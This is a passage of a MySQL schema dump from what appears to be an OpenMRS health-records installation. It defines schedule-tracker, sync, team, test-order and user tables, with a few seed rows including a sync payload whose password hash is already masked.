NULL, `due_alert_count` int(11) DEFAULT NULL, `late` varchar(255) DEFAULT NULL, `late_alert_offset` varchar(255) DEFAULT NULL, `late_alert_interval` varchar(255) DEFAULT NULL, `late_alert_count` int(11) DEFAULT NULL, `max` varchar(255) DEFAULT NULL, `max_alert_offset` varchar(255) DEFAULT NULL, `max_alert_interval` varchar(255) DEFAULT NULL, `max_alert_count` int(11) DEFAULT NULL, `schedule` int(11) NOT NULL, `description` varchar(255) DEFAULT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`milestone_id`), UNIQUE KEY `name` (`name`), KEY `scheduletracker_milestone_schedule` (`schedule`), KEY `scheduletracker_milestone_voided_by` (`voided_by`), KEY `scheduletracker_milestone_changed_by` (`changed_by`), KEY `scheduletracker_milestone_creator` (`creator`), CONSTRAINT `scheduletracker_milestone_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_milestone_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_milestone_schedule` FOREIGN KEY (`schedule`) REFERENCES `scheduletracker_schedule` (`schedule_id`), CONSTRAINT `scheduletracker_milestone_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_milestone` -- LOCK TABLES `scheduletracker_milestone` WRITE; /*!40000 ALTER TABLE `scheduletracker_milestone` DISABLE KEYS */; /*!40000 ALTER TABLE `scheduletracker_milestone` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_schedule` -- DROP TABLE IF EXISTS `scheduletracker_schedule`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_schedule` ( `schedule_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `type` varchar(255) NOT NULL, `recipient_type` varchar(255) DEFAULT NULL, `reference_date_type` varchar(255) DEFAULT NULL, `description` varchar(255) DEFAULT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`schedule_id`), UNIQUE KEY `name` (`name`), KEY `scheduletracker_schedule_creator` (`creator`), KEY `scheduletracker_schedule_voided_by` (`voided_by`), KEY `scheduletracker_schedule_changed_by` (`changed_by`), CONSTRAINT `scheduletracker_schedule_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_schedule_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_schedule_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_schedule` -- LOCK TABLES `scheduletracker_schedule` WRITE; /*!40000 ALTER TABLE `scheduletracker_schedule` DISABLE KEYS */; /*!40000 ALTER TABLE `scheduletracker_schedule` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_track` -- DROP TABLE IF EXISTS `scheduletracker_track`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_track` ( `track_id` int(11) NOT NULL AUTO_INCREMENT, `beneficiary` int(11) NOT NULL, `beneficiary_role` varchar(255) DEFAULT NULL, `current_milestone` int(11) DEFAULT NULL, `date_enrolled` datetime NOT NULL, `preferred_alert_time` datetime NOT NULL, `reference_date` datetime NOT NULL, `reference_date_type` varchar(255) DEFAULT NULL, `schedule` int(11) NOT NULL, `status` varchar(255) NOT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`track_id`), KEY `scheduletracker_track_voided_by` (`voided_by`), KEY `scheduletracker_track_changed_by` (`changed_by`), KEY `scheduletracker_track_beneficiary` (`beneficiary`), KEY `scheduletracker_track_current_milestone` (`current_milestone`), KEY `scheduletracker_track_creator` (`creator`), KEY `scheduletracker_track_schedule` (`schedule`), CONSTRAINT `scheduletracker_track_beneficiary` FOREIGN KEY (`beneficiary`) REFERENCES `person` (`person_id`), CONSTRAINT `scheduletracker_track_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_track_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_track_current_milestone` FOREIGN KEY (`current_milestone`) REFERENCES `scheduletracker_milestone` (`milestone_id`), CONSTRAINT `scheduletracker_track_schedule` FOREIGN KEY (`schedule`) REFERENCES `scheduletracker_schedule` (`schedule_id`), CONSTRAINT `scheduletracker_track_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_track` -- LOCK TABLES `scheduletracker_track` WRITE; /*!40000 ALTER TABLE `scheduletracker_track` DISABLE KEYS */; /*!40000 ALTER TABLE `scheduletracker_track` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `scheduletracker_track_milestone` -- DROP TABLE IF EXISTS `scheduletracker_track_milestone`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `scheduletracker_track_milestone` ( `track_milestone_id` int(11) NOT NULL AUTO_INCREMENT, `action_type` varchar(255) DEFAULT NULL, `alert_expiry_date` datetime NOT NULL, `alert_start_date` datetime NOT NULL, `fulfillment_date` datetime DEFAULT NULL, `is_active` tinyint(4) NOT NULL, `milestone` int(11) NOT NULL, `reason_closed` varchar(255) DEFAULT NULL, `status` varchar(255) NOT NULL, `track` int(11) NOT NULL, `alert_recipient` int(11) NOT NULL, `alert_recipient_role` varchar(255) DEFAULT NULL, `uuid` varchar(255) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(4) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`track_milestone_id`), KEY `scheduletracker_track_milestone_changed_by` (`changed_by`), KEY `scheduletracker_track_milestone_track` (`track`), KEY `scheduletracker_track_milestone_voided_by` (`voided_by`), KEY `scheduletracker_track_milestone_creator` (`creator`), KEY `scheduletracker_track_milestone_recipient` (`alert_recipient`), KEY `scheduletracker_track_milestone_milestone` (`milestone`), CONSTRAINT `scheduletracker_track_milestone_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_track_milestone_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `scheduletracker_track_milestone_milestone` FOREIGN KEY (`milestone`) REFERENCES `scheduletracker_milestone` (`milestone_id`), CONSTRAINT `scheduletracker_track_milestone_recipient` FOREIGN KEY (`alert_recipient`) REFERENCES `person` (`person_id`), CONSTRAINT `scheduletracker_track_milestone_track` FOREIGN KEY (`track`) REFERENCES `scheduletracker_track` (`track_id`), CONSTRAINT `scheduletracker_track_milestone_voided_by` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `scheduletracker_track_milestone` -- LOCK TABLES `scheduletracker_track_milestone` WRITE; /*!40000 ALTER TABLE `scheduletracker_track_milestone` DISABLE KEYS */; /*!40000 ALTER TABLE `scheduletracker_track_milestone` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `serialized_object` -- DROP TABLE IF EXISTS `serialized_object`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `serialized_object` ( `serialized_object_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(5000) DEFAULT NULL, `type` varchar(255) NOT NULL, `subtype` varchar(255) NOT NULL, `serialization_class` varchar(255) NOT NULL, `serialized_data` mediumtext NOT NULL, `date_created` datetime NOT NULL, `creator` int(11) NOT NULL, `date_changed` datetime DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `date_retired` datetime DEFAULT NULL, `retired_by` int(11) DEFAULT NULL, `retire_reason` varchar(1000) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`serialized_object_id`), UNIQUE KEY `serialized_object_uuid_index` (`uuid`), KEY `serialized_object_creator` (`creator`), KEY `serialized_object_changed_by` (`changed_by`), KEY `serialized_object_retired_by` (`retired_by`), CONSTRAINT `serialized_object_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `serialized_object_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `serialized_object_retired_by` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `serialized_object` -- LOCK TABLES `serialized_object` WRITE; /*!40000 ALTER TABLE `serialized_object` DISABLE KEYS */; /*!40000 ALTER TABLE `serialized_object` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_class` -- DROP TABLE IF EXISTS `sync_class`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_class` ( `class_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `default_send_to` tinyint(1) NOT NULL, `default_receive_from` tinyint(1) NOT NULL, PRIMARY KEY (`class_id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_class` -- LOCK TABLES `sync_class` WRITE; /*!40000 ALTER TABLE `sync_class` DISABLE KEYS */; INSERT INTO `sync_class` VALUES (1,'org.openmrs.GlobalProperty',0,0),(2,'org.openmrs.scheduler',0,0),(3,'org.openmrs.hl7',0,0),(5,'org.openmrs.notification.Alert',0,0); /*!40000 ALTER TABLE `sync_class` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_import` -- DROP TABLE IF EXISTS `sync_import`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_import` ( `sync_import_id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(36) NOT NULL, `creator` char(36) DEFAULT NULL, `database_version` char(20) DEFAULT NULL, `timestamp` datetime DEFAULT NULL, `retry_count` int(11) DEFAULT NULL, `state` char(32) DEFAULT NULL, `payload` longtext, `error_message` text, `source_server_id` int(11) DEFAULT NULL, PRIMARY KEY (`sync_import_id`), UNIQUE KEY `uuid` (`uuid`), KEY `sync_import_source_server` (`source_server_id`), CONSTRAINT `sync_import_source_server` FOREIGN KEY (`source_server_id`) REFERENCES `sync_server` (`server_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_import` -- LOCK TABLES `sync_import` WRITE; /*!40000 ALTER TABLE `sync_import` DISABLE KEYS */; /*!40000 ALTER TABLE `sync_import` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_record` -- DROP TABLE IF EXISTS `sync_record`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_record` ( `record_id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(36) NOT NULL, `creator` char(36) DEFAULT NULL, `database_version` char(20) DEFAULT NULL, `timestamp` datetime DEFAULT NULL, `retry_count` int(11) DEFAULT NULL, `state` char(32) DEFAULT NULL, `payload` longtext, `contained_classes` varchar(1000) DEFAULT '', `original_uuid` varchar(36) NOT NULL, PRIMARY KEY (`record_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `original_uuid` (`original_uuid`), KEY `timestamp` (`timestamp`), KEY `state` (`state`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_record` -- LOCK TABLES `sync_record` WRITE; /*!40000 ALTER TABLE `sync_record` DISABLE KEYS */; INSERT INTO `sync_record` VALUES (1,'89ef3763-24a3-4c89-ac17-1c9023716b7b','9f2bb948-9c14-11e6-aeb3-0242ac110009','1.11.5','2016-10-27 07:13:29',0,'NEW','<items><SyncItem containedType=\"org.openmrs.api.db.LoginCredential\" key=\"9f2bb948-9c14-11e6-aeb3-0242ac110009\" state=\"UPDATED\"><content><![CDATA[<org.openmrs.api.db.LoginCredential><changedBy type=\"org.openmrs.User\">9f2bb948-9c14-11e6-aeb3-0242ac110009</changedBy><uuid type=\"string\">9f2bb948-9c14-11e6-aeb3-0242ac110009</uuid><hashedPassword type=\"string\"><PASSWORD></hashedPassword><dateChanged type=\"timestamp\">2016-10-27T07:13:28.661+0000</dateChanged><salt type=\"string\">26ecc09c586c141a0906e61c7c26bb99869693b8502948053b6b684b46ffc4ccf497b50e2cc0420c035a4b0905d5ddf27dba70eaa33e59edbe7b9c73e92e7f71</salt></org.openmrs.api.db.LoginCredential>]]></content></SyncItem><SyncItem containedType=\"org.openmrs.User\" key=\"9f2bb948-9c14-11e6-aeb3-0242ac110009\" state=\"UPDATED\"><content><![CDATA[<org.openmrs.User><userProperties type=\"java.util.Map(org.openmrs.User.userProperties)\">{{lockoutTimestamp||}}{{loginAttempts||0}}</userProperties><username type=\"string\"></username><person type=\"org.openmrs.Person\">91bbb6f6-9c14-11e6-aeb3-0242ac110009</person><retired type=\"boolean\">false</retired><dateCreated type=\"timestamp\">2005-01-01T00:00:00.000+0000</dateCreated><systemId type=\"string\">admin</systemId><uuid type=\"string\">9f2bb948-9c14-11e6-aeb3-0242ac110009</uuid><creator type=\"org.openmrs.User\">9f2bb948-9c14-11e6-aeb3-0242ac110009</creator></org.openmrs.User>]]></content></SyncItem></items>','org.openmrs.api.db.LoginCredential,org.openmrs.User','89ef3763-24a3-4c89-ac17-1c9023716b7b'),(2,'574b4431-050e-48f8-827f-3f6370467f08',NULL,'1.11.5','2016-10-27 07:13:34',0,'NEW','<items><SyncItem containedType=\"org.openmrs.User\" key=\"9f2bb948-9c14-11e6-aeb3-0242ac110009\" state=\"UPDATED\"><content><![CDATA[<org.openmrs.User><changedBy type=\"org.openmrs.User\">9f2bb948-9c14-11e6-aeb3-0242ac110009</changedBy><userProperties type=\"java.util.Map(org.openmrs.User.userProperties)\">{{lockoutTimestamp||}}{{loginAttempts||1}}</userProperties><username type=\"string\"></username><person type=\"org.openmrs.Person\">91bbb6f6-9c14-11e6-aeb3-0242ac110009</person><retired type=\"boolean\">false</retired><dateCreated type=\"timestamp\">2005-01-01T00:00:00.000+0000</dateCreated><systemId type=\"string\">admin</systemId><uuid type=\"string\">9f2bb948-9c14-11e6-aeb3-0242ac110009</uuid><dateChanged type=\"timestamp\">2016-10-27T07:13:29.000+0000</dateChanged><creator type=\"org.openmrs.User\">9f2bb948-9c14-11e6-aeb3-0242ac110009</creator></org.openmrs.User>]]></content></SyncItem></items>','org.openmrs.User','574b4431-050e-48f8-827f-3f6370467f08'); /*!40000 ALTER TABLE `sync_record` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_server` -- DROP TABLE IF EXISTS `sync_server`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_server` ( `server_id` int(11) NOT NULL AUTO_INCREMENT, `nickname` varchar(255) DEFAULT NULL, `address` varchar(255) NOT NULL, `server_type` varchar(20) NOT NULL, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, `uuid` char(36) DEFAULT NULL, `last_sync` datetime DEFAULT NULL, `last_sync_state` varchar(50) DEFAULT NULL, `disabled` tinyint(1) NOT NULL, `child_username` varchar(50) DEFAULT '', PRIMARY KEY (`server_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_server` -- LOCK TABLES `sync_server` WRITE; /*!40000 ALTER TABLE `sync_server` DISABLE KEYS */; /*!40000 ALTER TABLE `sync_server` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_server_class` -- DROP TABLE IF EXISTS `sync_server_class`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_server_class` ( `server_class_id` int(11) NOT NULL AUTO_INCREMENT, `class_id` int(11) NOT NULL, `server_id` int(11) NOT NULL, `send_to` tinyint(1) NOT NULL, `receive_from` tinyint(1) NOT NULL, PRIMARY KEY (`server_class_id`), KEY `server_class_class` (`class_id`), KEY `server_class_server` (`server_id`), CONSTRAINT `server_class_class` FOREIGN KEY (`class_id`) REFERENCES `sync_class` (`class_id`), CONSTRAINT `server_class_server` FOREIGN KEY (`server_id`) REFERENCES `sync_server` (`server_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_server_class` -- LOCK TABLES `sync_server_class` WRITE; /*!40000 ALTER TABLE `sync_server_class` DISABLE KEYS */; /*!40000 ALTER TABLE `sync_server_class` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `sync_server_record` -- DROP TABLE IF EXISTS `sync_server_record`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `sync_server_record` ( `server_record_id` int(11) NOT NULL AUTO_INCREMENT, `server_id` int(11) NOT NULL, `record_id` int(11) NOT NULL, `state` char(32) DEFAULT NULL, `retry_count` int(11) DEFAULT NULL, `error_message` text, PRIMARY KEY (`server_record_id`), KEY `server_record_server` (`server_id`), KEY `server_record_record` (`record_id`), KEY `server_id` (`server_id`), KEY `state` (`state`), CONSTRAINT `server_record_record` FOREIGN KEY (`record_id`) REFERENCES `sync_record` (`record_id`), CONSTRAINT `server_record_server` FOREIGN KEY (`server_id`) REFERENCES `sync_server` (`server_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `sync_server_record` -- LOCK TABLES `sync_server_record` WRITE; /*!40000 ALTER TABLE `sync_server_record` DISABLE KEYS */; /*!40000 ALTER TABLE `sync_server_record` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `team` -- DROP TABLE IF EXISTS `team`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `team` ( `team_id` int(11) NOT NULL AUTO_INCREMENT, `identifier` varchar(45) DEFAULT NULL, `name` varchar(45) DEFAULT NULL, `location_id` int(11) DEFAULT NULL, `date_created` datetime NOT NULL, `creator` int(11) NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` varchar(255) DEFAULT NULL, PRIMARY KEY (`team_id`), KEY `fk_team_location_id` (`location_id`), CONSTRAINT `fk_team_location_id` FOREIGN KEY (`location_id`) REFERENCES `location` (`location_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `team` -- LOCK TABLES `team` WRITE; /*!40000 ALTER TABLE `team` DISABLE KEYS */; /*!40000 ALTER TABLE `team` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `team_lead` -- DROP TABLE IF EXISTS `team_lead`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `team_lead` ( `team_lead_id` int(11) NOT NULL AUTO_INCREMENT, `team_member_id` int(11) DEFAULT NULL, `team_id` int(11) DEFAULT NULL, `join_date` date DEFAULT NULL, `leave_date` date DEFAULT NULL, `date_created` datetime NOT NULL, `creator` int(11) NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` varchar(255) DEFAULT NULL, PRIMARY KEY (`team_lead_id`), KEY `fk_team_lead_team_id` (`team_id`), KEY `fk_team_lead_team_member_id` (`team_member_id`), CONSTRAINT `fk_team_lead_team_id` FOREIGN KEY (`team_id`) REFERENCES `team` (`team_id`), CONSTRAINT `fk_team_lead_team_member_id` FOREIGN KEY (`team_member_id`) REFERENCES `team_member` (`team_member_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `team_lead` -- LOCK TABLES `team_lead` WRITE; /*!40000 ALTER TABLE `team_lead` DISABLE KEYS */; /*!40000 ALTER TABLE `team_lead` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `team_member` -- DROP TABLE IF EXISTS `team_member`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `team_member` ( `team_member_id` int(11) NOT NULL AUTO_INCREMENT, `identifier` varchar(45) DEFAULT NULL, `team_id` int(11) DEFAULT NULL, `person_id` int(11) DEFAULT NULL, `join_date` date DEFAULT NULL, `leave_date` date DEFAULT NULL, `is_team_lead` tinyint(4) NOT NULL, `date_created` datetime NOT NULL, `creator` int(11) NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `voided` tinyint(1) NOT NULL, `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` varchar(255) DEFAULT NULL, PRIMARY KEY (`team_member_id`), KEY `fk_teamId` (`team_id`), KEY `fk_team_member_person_id` (`person_id`), CONSTRAINT `fk_teamId` FOREIGN KEY (`team_id`) REFERENCES `team` (`team_id`), CONSTRAINT `fk_team_member_person_id` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `team_member` -- LOCK TABLES `team_member` WRITE; /*!40000 ALTER TABLE `team_member` DISABLE KEYS */; /*!40000 ALTER TABLE `team_member` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `test_order` -- DROP TABLE IF EXISTS `test_order`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `test_order` ( `order_id` int(11) NOT NULL DEFAULT '0', `specimen_source` int(11) DEFAULT NULL, `laterality` varchar(20) DEFAULT NULL, `clinical_history` text, `frequency` int(11) DEFAULT NULL, `number_of_repeats` int(11) DEFAULT NULL, PRIMARY KEY (`order_id`), KEY `test_order_specimen_source_fk` (`specimen_source`), KEY `test_order_frequency_fk` (`frequency`), CONSTRAINT `test_order_frequency_fk` FOREIGN KEY (`frequency`) REFERENCES `order_frequency` (`order_frequency_id`), CONSTRAINT `test_order_order_id_fk` FOREIGN KEY (`order_id`) REFERENCES `orders` (`order_id`), CONSTRAINT `test_order_specimen_source_fk` FOREIGN KEY (`specimen_source`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `test_order` -- LOCK TABLES `test_order` WRITE; /*!40000 ALTER TABLE `test_order` DISABLE KEYS */; /*!40000 ALTER TABLE `test_order` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `uiframework_user_defined_page_view` -- DROP TABLE IF EXISTS `uiframework_user_defined_page_view`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `uiframework_user_defined_page_view` ( `page_view_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(100) NOT NULL, `template_type` varchar(50) NOT NULL, `template_text` mediumtext NOT NULL, `uuid` varchar(38) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, PRIMARY KEY (`page_view_id`), UNIQUE KEY `name` (`name`), UNIQUE KEY `uuid` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `uiframework_user_defined_page_view` -- LOCK TABLES `uiframework_user_defined_page_view` WRITE; /*!40000 ALTER TABLE `uiframework_user_defined_page_view` DISABLE KEYS */; /*!40000 ALTER TABLE `uiframework_user_defined_page_view` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `user_property` -- DROP TABLE IF EXISTS `user_property`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `user_property` ( `user_id` int(11) NOT NULL DEFAULT '0', `property` varchar(100) NOT NULL DEFAULT '', `property_value` varchar(255) NOT NULL DEFAULT '', PRIMARY KEY (`user_id`,`property`), CONSTRAINT `user_property_to_users` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `user_property` -- LOCK TABLES `user_property` WRITE; /*!40000 ALTER TABLE `user_property` DISABLE KEYS */; INSERT INTO `user_property` VALUES (1,'lockoutTimestamp',''),(1,'loginAttempts','1'); /*!40000 ALTER TABLE `user_property` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `user_role` -- DROP TABLE IF EXISTS `user_role`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `user_role` ( `user_id` int(11) NOT NULL DEFAULT '0', `role` varchar(50) NOT NULL DEFAULT '', PRIMARY KEY (`role`,`user_id`), KEY `user_role_to_users` (`user_id`), CONSTRAINT `role_definitions` FOREIGN KEY (`role`) REFERENCES `role` (`role`), CONSTRAINT `user_role_to_users` FOREIGN KEY (`user_id`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `user_role` -- LOCK TABLES `user_role` WRITE; /*!40000 ALTER TABLE `user_role` DISABLE KEYS */; INSERT INTO `user_role` VALUES (1,'Provider'),(1,'System Developer'); /*!40000 ALTER TABLE `user_role` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `users` -- DROP TABLE IF EXISTS `users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `users` ( `user_id` int(11) NOT NULL AUTO_INCREMENT, `system_id` varchar(50) NOT NULL DEFAULT '', `username` varchar(50) DEFAULT NULL, `password` varchar(128) DEFAULT NULL, `salt` varchar(128) DEFAULT NULL, `secret_question` varchar(255) DEFAULT NULL, `secret_answer` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL DEFAULT '0', `date_created` datetime NOT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `person_id` int(11) NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`user_id`), KEY `user_who_changed_user` (`changed_by`), KEY `user_creator` (`creator`), KEY `user_who_retired_this_user` (`retired_by`), KEY `person_id_for_user` (`person_id`), CONSTRAINT `person_id_for_user` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`), CONSTRAINT `user_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_changed_user` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_this_user` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `users` -- LOCK TABLES `users` WRITE; /*!40000 ALTER TABLE `users` DISABLE KEYS */; INSERT INTO `users` VALUES 